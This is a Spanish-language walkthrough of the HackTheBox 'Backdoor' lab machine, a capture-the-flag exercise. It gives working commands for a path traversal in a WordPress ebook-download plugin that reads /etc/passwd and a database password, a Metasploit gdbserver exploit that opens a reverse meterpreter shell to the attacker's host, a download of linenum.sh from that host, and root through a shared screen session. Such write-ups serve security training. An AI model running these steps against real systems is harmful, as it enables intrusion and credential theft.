comenzamos con nmap

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Li
| ssh-hostkey:
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor &#8211; Real-Life
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ahora le damos con gobuster

```
└─$ gobuster dir -q -u http://10.10.11.125/ -w /usr
php,txt,html
/index.php            (Status: 301) [Size: 0] [──>
/wp-content           (Status: 301) [Size: 317] [─
/wp-login.php         (Status: 200) [Size: 5674]
/license.txt          (Status: 200) [Size: 19915]
/wp-includes          (Status: 301) [Size: 318] [─
/readme.html          (Status: 200) [Size: 7346]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-admin             (Status: 301) [Size: 315] [─
```

nos encontramos con una web en wordpress pero las contraseñas de login predeterminadas no funcionan.
Ya que el puerto 1337 no parece funcionar ya que se cierra y vuelve a abrir cada vez que hacemos conexión a él, usaremos wpscan para verificar vulnerabilidades en los plugin de la página de manera agresiva

```
└─$ wpscan --url backdoor.htb -e ap --plugins-detection aggressive
```

esto tomara bastante tiempo así que ve a ver una película o a comer algo, una vez terminado el escaneo veremos una vulnerabilidad ebook 1.5

```
[+] ebook-download
 | Location: http://backdoor.htb/wp-content/plugins/ebook-download/
 | Last Updated: 2020-03-12T12:52:00.000Z
 | Readme: http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
```

la guía indica como hacer fuzzing y obtener archivos del sistema en esta versión

```
[PoC]
=============================================
/wp-content/plugins/ebook-download/filedownload.php?
ebookdownloadurl=../../../wp-config.php
=============================================
```

al usar esta guía podremos obtener el archivo /etc/passwd y el archivo de configuración de la base de datos

```
1 ../../../../../../../../etc/passwd../../../../../../../../etc/
  passwd../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
```

```
4
5 /** MySQL database username */
6 define( 'DB_USER', 'wordpressuser' );
7
8 /** MySQL database password */
9 define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
0
1 /** MySQL hostname */
2 define( 'DB_HOST', 'localhost' );
```

acá encontramos un usuario y una contraseña de una base de datos wordpressuser: MQYBJSaD#DxG6qbm
Pero al parecer al intentar loguearnos en la base de datos no está disponible.

```
└─$ mysql -u wordpressuser -pMQYBJSaD#DxG6qbm -h 10.10.11.125
ERROR 2002 (HY000): Can't connect to server on '10.10.11.125' (115)
```

investigando más a fondo sobre la vulnerabilidad para obtener contenido por medio de la url llegamos a esta web
https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/ en ella vemos maneras obtener información critica del sistema, una de las que parece interesante es la manera de obtener los procesos activos y su PID

GET http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/sched_debug

```
└─$ GET http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/sched_debug
/proc/sched_debug/proc/sched_debug/proc/sched_debugSched Debug Version: v0.11, 5.4.0-80-generic #90-Ubuntu
ktime                                   : 3524027.946864
sched_clk                               : 3524511.318994
cpu_clk                                 : 3524051.959066
jiffies                                 : 4295773285
sched_clock_stable()                    : 1
```

dentro de la lista de procesos si tenemos buen ojo veremos que hay un gdbserver ejecutándose.

```
   gdbserver  8486
```

que con unos comandos de la misma web podemos ver más información sobre ese proceso.

```
└─$ GET http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/8486/cmdline
/proc/8486/cmdline/proc/8486/cmdline/proc/8486/cmdlinegdbserver--once0.0.0.0:1337/bin/true<script>window.close()</
```

vemos que está corriendo en el puerto 1337, esto concuerda con nuestro escaneo de nmap, buscando vulnerabilidades en gdbserver encontraremos una muy fácilmente en msfconsole, veremos solo una opción así que es mejor por este lado

```
msf6 > search gdbserver

Matching Modules
================

   #  Name                                Disclosure Date  Rank   Check  Description
   -  ----                                ---------------  ----   -----  -----------
   0  exploit/multi/gdb/gdb_server_exec   2014-08-24       great  No     GDB Server Remote Payload Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/gdb/gdb_server_exec

msf6 >
```

configuramos las ip's, puertos y lo ejecutamos

```
msf6 exploit(multi/gdb/gdb_server_exec) > set rhost 10.10.11.125
rhost => 10.10.11.125
msf6 exploit(multi/gdb/gdb_server_exec) > set rport 1337
rport => 1337
msf6 exploit(multi/gdb/gdb_server_exec) > set lhost 10.10.16.35
lhost => 10.10.16.35
msf6 exploit(multi/gdb/gdb_server_exec) > set lport 1234
lport => 1234
msf6 exploit(multi/gdb/gdb_server_exec) >
```

prueba más de un payload a mí solo me funciono este

/linux/x64/meterpreter/reverse_tcp

```
msf6 exploit(multi/gdb/gdb_server_exec) > exploit

[*] Started reverse TCP handler on 10.10.16.35:1234
[*] 10.10.11.125:1337 - Performing handshake with gdbserver...
[*] 10.10.11.125:1337 - Stepping program to find PC...
[*] 10.10.11.125:1337 - Writing payload at 00007ffff7fd0103...
[*] 10.10.11.125:1337 - Executing the payload...
[*] Sending stage (3020772 bytes) to 10.10.11.125
[*] Meterpreter session 1 opened (10.10.16.35:1234 → 10.10.11

meterpreter > shell
Process 15493 created.
Channel 1 created.
```

ya podemos capturar la flag de usuario.
Ahora vamos con la escala de privilegios, al parecer es imposible realizar otra conexión así que solo trataremos de hacerla interactiva, ya sabemos que tenemos instalado python3 así que con eso debería funcionar.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
user@Backdoor:~$ clear
clear
TERM environment variable not set.
user@Backdoor:~$
```

funciona, pero sigue siendo un entorno bastante restringido, vamos a usar linenum para ver la posibilidad de escalar

```
user@Backdoor:~$ wget http://10.10.16.35/linenum.sh
wget http://10.10.16.35/linenum.sh
--2022-02-20 15:26:03--  http://10.10.16.35/linenum.sh
Connecting to 10.10.16.35:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'linenum.sh'

linenum.sh          100%[===================>]  45.54K  86.4KB/s

2022-02-20 15:26:04 (86.4 KB/s) - 'linenum.sh' saved [46631/46631]

user@Backdoor:~$
```

al parecer no hay problemas con usar wget, ahora solo queda ejecutarlo

```
user@Backdoor:~$ chmod +x linenum.sh
chmod +x linenum.sh
user@Backdoor:~$ ./linenum.sh
./linenum.sh

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
```

encontramos un proceso extraño corriendo como root

```
user         958  0.0  0.1 104924  3224 ?        S    13:28   0:00 (sd-pam)
root         961  0.0  0.1   6952  2476 ?        Ss   13:28   0:00 SCREEN -dmS root
root         964  0.0  0.2   8272  5000 pts/0    Ss+  13:28   0:00 -/bin/bash
```

Sí estudiamos los comandos de SCREEN veremos que podemos adjuntarnos a una sesión existente con el comando -x, como la sesión que encontramos está corriendo como root obtendremos permisos root si lo logramos.
find $(infocmp -D) -printf '%f\n' | sort -u | grep screen
pero primero debemos exportar xterm a la variable TERM.

```
user@Backdoor:~$ export TERM=xterm
export TERM=xterm
user@Backdoor:~$
```

ahora solo debemos adjuntarnos a la sesión

```
user@Backdoor:~$ screen -x root/root
```

y como si fuera magia tendremos root

```
root@Backdoor:~# ls
ls
root.txt
root@Backdoor:~# cat root.txt
cat root.txt
```